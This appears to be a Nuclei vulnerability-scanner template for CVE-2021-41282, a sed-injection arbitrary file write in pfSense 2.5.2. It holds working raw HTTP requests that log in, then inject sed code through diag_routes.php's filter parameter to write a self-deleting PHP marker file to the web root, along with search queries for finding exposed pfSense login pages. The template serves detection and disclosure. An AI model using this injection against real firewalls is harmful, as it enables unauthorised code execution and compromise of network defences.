diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
PoC
id: CVE-2021-41282
info:
name: pfSense - Arbitrary File Write
author: cckuailong
severity: high
description: |
diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized modification of critical system files, potentially resulting in a complete compromise of the pfSense firewall.
remediation: |
Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
reference:
- https://www.shielder.it/advisories/pfsense-remote-command-execution/
- https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
- https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc
- https://nvd.nist.gov/vuln/detail/CVE-2021-41282
- https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-41282
cwe-id: CWE-74
epss-score: 0.87113
epss-percentile: 0.99738
cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: pfsense
product: pfsense
shodan-query: http.title:"pfsense - login"
fofa-query: title="pfsense - login"
google-query: intitle:"pfsense - login"
tags: cve2021,cve,pfsense,rce,authenticated,vuln
http:
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=
- |
GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
Host: {{Hostname}}
- |
GET /test.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
- "status_code==200"
condition: and
extractors:
- type: regex
name: csrf_token
group: 1
regex:
- '(sid:[a-z0-9,;:]+)'
internal: true
part: body
# digest: 4a0a00473045022100cc526f40bebfde9de4e6fa8dd91174f09112d15602c893cdb5678cfa92688272022031898d6e553cc5097b9f1d4ace6034fbe271ea66c5ef4e26d5c2e67bcfe93493:922c64590222798bb761d5b6d8e72950
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